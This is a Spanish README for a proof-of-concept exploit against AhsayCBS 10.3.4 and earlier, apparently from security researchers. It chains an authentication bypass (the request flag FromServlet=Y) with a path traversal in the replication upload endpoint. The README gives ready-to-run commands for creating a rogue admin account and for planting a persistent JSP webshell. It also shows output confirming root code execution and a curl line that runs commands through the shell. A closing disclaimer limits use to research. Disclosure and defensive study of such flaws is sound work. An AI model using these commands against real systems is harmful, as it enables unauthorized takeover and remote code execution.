Un exploit de prueba de concepto para CVE-2026-105133 y CVE-2026-105134 que afecta a AhsayCBS
CVE-2026-105133 + CVE-2026-105134 — Ejecución remota de código no autenticada en AhsayCBS ≤10.3.4
El análisis técnico que cubre la causa raíz, la explotación y los indicadores de compromiso está disponible en el blog de investigación de ataques de Horizon3.ai:
Las versiones 10.3.4 y anteriores de AhsayCBS son vulnerables a ejecución remota de código no autenticada mediante dos fallos encadenados de bypass de autenticación y salto de ruta en los módulos de API JSON y receptor de replicación. Un atacante puede lograr control administrativo total o RCE directo sin credenciales.
El método com.ahsay.obs.api.json.JSONApi.execute() omite la validación de credenciales checkSysPwd() cuando el cuerpo de la solicitud JSON contiene {"FromServlet":"Y"}. Esto permite a cualquier atacante no autenticado invocar todas las acciones de la API JSON sin credenciales.
Impacto: Acceso no autenticado a la API JSON para operaciones sensibles.
El endpoint de carga de archivos del receptor de replicación (PUT /rps/obs7/rpsfile/upload) construye la ruta de escritura a partir de los encabezados UserHome y TopDir controlados por el atacante mediante getReplicatedPath() sin aplicar la lista de denegación de rutas com.ahsay.c. Un atacante puede saltar al directorio servido por web de Tomcat (../../webapps/) para cargar archivos JSP ejecutables.
Utiliza el bypass de autenticación para crear una nueva cuenta de administrador del sistema. Funciona en cualquier instalación de AhsayCBS, independientemente de la licencia o la configuración de replicación.
python3 ahsay_rce_poc.py --url https://target.example.com
Salida:
AhsayCBS <=10.3.4 unauthenticated takeover (CVE-2026-105133 + CVE-2026-105134)
[*] Target: https://target.example.com
[*] Checking authentication bypass (CVE-2026-105133)...
[+] Target is VULNERABLE: auth check is skipped with FromServlet=Y
[*] Creating ADMIN account 'svc_abcdef' via AddSysUser (unauthenticated)...
[+] Created system user 'svc_abcdef' (Role=ADMIN)
[+] Confirmed: the account authenticates as a functional ADMIN
[+] Admin credentials
Console : https://target.example.com/cbs/
Username: svc_abcdef
Password: TK$#m9q@2pL!xR4vN
Role : ADMIN
[*] Cleaning up...
[+] Removed admin account 'svc_abcdef'
[+] Done.
Utiliza el path traversal en el receptor de replicación para subir un webshell autenticado. Requiere que el objetivo tenga licencia y esté configurado como receptor de replicación. Logra RCE como la cuenta de servicio.
python3 ahsay_rce_poc.py --url https://target.example.com --replication --cmd id
Salida:
AhsayCBS <=10.3.4 unauthenticated takeover (CVE-2026-105133 + CVE-2026-105134)
[*] Target: https://target.example.com
[*] Checking authentication bypass (CVE-2026-105133)...
[+] Target is VULNERABLE: auth check is skipped with FromServlet=Y
[+] Created replication receiver 'rqxmouq' (SystemHome=/opt/AhsayCBS/rpsrecv_ggsrer)
[+] Uploaded webshell -> /rps/status_vomejx.jsp (auth-gated)
[*] Webshell: https://target.example.com/rps/status_vomejx.jsp?auth=d9facce9a7e9535aab16270e36bf7527
[+] Remote code execution confirmed:
uid=0(root) gid=0(root) groups=0(root)
[*] Running: id
uid=0(root) gid=0(root) groups=0(root)
[*] Cleaning up...
[+] Removed webshell /rps/status_vomejx.jsp
[+] Removed receiver 'rqxmouq' (Id=2)
[+] Done.
pip install requests
Prueba si el objetivo es vulnerable sin realizar ningún cambio:
python3 ahsay_rce_poc.py --url https://target.example.com --check
Crea una nueva cuenta administrativa:
# Auto-generated credentials (default)
python3 ahsay_rce_poc.py --url https://target.example.com
# Custom username and password
python3 ahsay_rce_poc.py --url https://target.example.com \
--admin-user admin_user \
--admin-pass 'P@ssw0rd123'
# Custom role (default: ADMIN)
python3 ahsay_rce_poc.py --url https://target.example.com --role OPERATOR
Ejecuta comandos a través de un webshell temporal:
# Execute 'id' command
python3 ahsay_rce_poc.py --url https://target.example.com --replication --cmd id
# Interactive webshell (use --no-cleanup to keep the shell)
python3 ahsay_rce_poc.py --url https://target.example.com --replication \
--no-cleanup \
--secret mysecret123 \
--shell-name cmd.jsp
# Then access via:
# curl 'https://target.example.com/rps/cmd.jsp?auth=mysecret123&cmd=whoami'
General:
-u, --url URL Target base URL (required)
-t, --timeout SECONDS HTTP timeout (default: 30)
-k, --insecure Ignore TLS cert errors (default: on)
--check Detect vulnerability without exploitation
--no-cleanup Leave artifacts in place for further access
Admin Takeover:
--admin-user USER Username to create (default: random)
--admin-pass PASS Password to set (default: random strong)
--role ROLE User role: ADMIN, OPERATOR, etc. (default: ADMIN)
Replication RCE:
--replication Use replication RCE mode (requires licensed receiver)
-c, --cmd COMMAND Command to execute
-r, --install-root PATH AhsayCBS install directory (default: /opt/AhsayCBS)
-w, --webapp NAME Web app to upload JSP into (default: rps)
--secret HEX Webshell auth secret (default: random)
--shell-name NAME Webshell filename (default: random)
"Este software ha sido creado puramente con fines de investigación académica y para el desarrollo de técnicas defensivas efectivas, y no está destinado a ser utilizado para atacar sistemas, excepto cuando esté explícitamente autorizado." Los mantenedores del proyecto no asumen ninguna responsabilidad por el mal uso. Úsalo de manera responsable.